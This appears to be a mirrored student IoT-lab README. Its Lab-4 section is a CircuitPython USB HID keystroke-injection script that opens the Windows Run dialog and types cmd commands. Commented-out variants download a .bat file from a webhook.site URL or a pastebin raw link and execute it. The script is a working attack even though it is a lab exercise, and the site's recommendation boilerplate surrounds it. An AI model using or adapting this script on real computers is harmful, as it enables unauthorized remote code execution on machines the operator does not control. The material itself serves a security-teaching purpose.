Code Monkey home page Code Monkey logo

iot-lab's Introduction

IoT-Lab

repo for presenting progress of Labolatories

Lab-1

all rooms are marked as done:

image

Lab-4

'''python

  #import webbrowser
  from hashlib import scrypt
  from linecache import lazycache
  import time
  import os
  import usb_hid
  import supervisor
  from adafruit_hid.keycode import Keycode
  from adafruit_hid.keyboard import Keyboard
  from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
  
  ascii = bytes(range(32, 127)).decode()
  
  timerBreakShort = 1.0
  timerBreakLong = 1.0
  
  keyboard = Keyboard(usb_hid.devices)
  layout = KeyboardLayoutUS(keyboard)
  
  def attack():
     keyboard.send(Keycode.WINDOWS, Keycode.R)
     time.sleep(timerBreakShort)
     # Program donwloads code and executes it in cmd.
     #text = "start-process \"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe\" https://www.youtube.com/watch?v=dQw4w9WgXcQ"
    
     #os.system('cmd /c "curl parrot.live"')
     text = "ssh movie.gabe565.com"
     #text = "curl ascii.live/donut"
     #text = "curl parrot.live"
     #text = "curl -s https://webhook.site/f9fe1e9f-557c-4261-a27c-03da55599cf3 -o C:/Users/Student/Desktop/wirus.bat & C:/Users/Student/Desktop/wirus.bat"
     text = text.replace('"', '')
     layout.write(f'cmd /D /K "{text}"\n')
  
    # url = "https://pastebin.com/raw/mPSBVtdF"
    # scrypt = "banana.bat"
    # layout.write(f'cmd \n')
    # time.sleep(1.0)
    # layout.write(f'curl {url} -o {scrypt}\n')
    # time.sleep(1.0)
    # layout.write(f'{scrypt}\n')
    # time.sleep(1.0)
    # lazycache.write('type secret.txt\n')
  
    if __name__ == "__main__":
       attack()

'''

iot-lab's People

Contributors

vojtaz27 avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.